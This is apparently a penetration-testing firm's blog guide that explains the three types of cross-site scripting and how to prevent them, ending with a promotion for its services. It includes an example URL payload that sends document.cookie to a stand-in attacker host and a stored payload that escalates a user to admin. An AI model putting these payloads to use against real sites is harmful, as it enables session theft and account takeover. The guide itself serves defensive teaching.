Cross-site scripting is one of the most common bugs we find in web application penetration tests. It looks harmless in a demo, a small pop-up box, but in a real attack it can take over user accounts, steal data from the page and perform actions in the victim's name. In this guide we explain what cross-site scripting (XSS) is, the three main types with simple examples, what attackers can really do with it, and the right way to prevent it.
What is cross-site scripting (XSS)?
Cross-site scripting (XSS) happens when an application takes untrusted input and puts it into a web page without handling it safely. The browser cannot tell the difference between the site's own code and the attacker's input, so it runs the attacker's JavaScript as if the site sent it.
Because the script runs inside the trusted site, it can read anything the page can read and do anything the logged-in user can do. That is what makes XSS dangerous. In the OWASP Top 10:2025, XSS is part of the Injection category, alongside the SQL injection we covered in an earlier post.
A simple XSS example
Imagine a search page that shows what you searched for. The code builds the result like this:
Results for: <?php echo $_GET["q"]; ?>
A normal user searches for shoes and sees "Results for: shoes". Now an attacker sends a victim this link:
https://shop.example.com/search?q=<script>fetch("https://attacker.example/c?d="+document.cookie)</script>
The page puts the input straight into the HTML, so the victim's browser runs the script. If the session cookie is not protected, it is sent to the attacker, who can log in as the victim.
The three types of XSS
1. Reflected XSS
The malicious input is part of the request, usually in a link, and the server "reflects" it straight back in the response. The search example above is reflected XSS. The attacker has to trick the victim into opening a crafted link, often through email, chat or a shortened URL.
2. Stored XSS
The input is saved by the application, for example in a comment, a profile name, a support ticket or a product review, and shown to other users later. Every person who views that page runs the script. Stored XSS is usually the most serious type because it needs no special link and can hit admins who review user content.
Display name: <img src=x onerror="fetch('/api/users/me/role',{method:'POST',body:'admin'})">
3. DOM-based XSS
The bug lives entirely in the front-end JavaScript. The page reads data from a source the attacker controls, such as the URL fragment, and writes it into the page with an unsafe function. The server may never see the payload at all, which is why scanners often miss it.
// Vulnerable front-end code
const name = new URLSearchParams(location.search).get("name");
document.getElementById("welcome").innerHTML = "Hello " + name;
What can an attacker do with XSS?
- Take over accounts by stealing session tokens or performing actions as the user, such as changing the email address or password.
- Read sensitive data on the page, including personal details, invoices, API keys shown in dashboards or messages.
- Act as an admin when stored XSS fires in an admin panel, for example creating new admin users.
- Show fake login forms inside the real site to capture passwords.
- Spread inside the platform, where one stored payload posts itself to other users' profiles.
In our reports we usually rate stored XSS in an admin-facing area as High, and reflected XSS that needs user interaction as Medium, adjusted with CVSS 3.1 for the real impact in that application.
How to prevent cross-site scripting
There is no single magic filter. XSS is prevented by handling data correctly at the point where it is written into the page, plus a few strong browser defences.
1. Encode output for the right context
Text placed in HTML must be HTML-encoded, so <script> is shown as text instead of running. Data placed in an HTML attribute, inside JavaScript or in a URL needs the encoding for that context. Modern templating engines such as React, Angular, Vue, Django and Laravel Blade do this automatically, as long as you do not switch it off.
// Safe in React: the value is escaped automatically
Results for: {query}
// Dangerous: bypasses React's protection
<p dangerouslySetInnerHTML={{ __html: query }} />
2. Avoid unsafe DOM functions
Use textContent instead of innerHTML when you only need to show text. Avoid eval(), document.write() and building HTML strings from user data.
// Safe
document.getElementById("welcome").textContent = "Hello " + name;
3. Sanitize HTML when users must submit it
If users need rich text, such as in a blog editor, clean it on the server with a well-maintained library like DOMPurify or a strict allow-list sanitizer. Never try to write your own regex filter.
4. Add a Content Security Policy
A strong Content-Security-Policy header tells the browser which scripts are allowed to run. A nonce-based policy blocks most injected scripts even if a bug slips through.
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'
5. Protect session cookies
Set session cookies with HttpOnly, Secure and SameSite flags. HttpOnly stops JavaScript from reading the cookie, which limits the damage if XSS does occur.
Quick XSS checklist for developers
- Is all user data shown through the framework's auto-escaping, with no raw HTML output?
- Are
innerHTML,dangerouslySetInnerHTML,v-htmland similar functions reviewed and justified? - Is rich text sanitized on the server with a trusted library?
- Is a Content Security Policy in place and tested?
- Are session cookies set with HttpOnly, Secure and SameSite?
- Are admin pages that display user content included in security testing?
Frequently asked questions
Is XSS still common in modern frameworks?
Less than before, but yes. We still find it where developers bypass auto-escaping, in rich text editors, in file names and PDF exports, in older pages and in admin tools that display user input.
Is input validation enough to stop XSS?
No. Validation helps, but the reliable fix is correct output encoding for each context, backed by a Content Security Policy.
What is the difference between XSS and SQL injection?
Both come from trusting user input. SQL injection attacks the database on the server, while XSS attacks other users in their browsers.
Get your application tested
At Bugfynd we test web applications, APIs and thick client apps for XSS and the rest of the OWASP Top 10 with manual testing, not just scanners, and every finding comes with clear fix steps and a free retest. See what you receive in our sample pentest reports, or learn to find these bugs yourself in our web application pentesting course, taught in English and Telugu, with a new batch starting 7 December 2026.
Questions or a project to discuss? Email contact@bugfynd.com or message us on WhatsApp.
Top comments (0)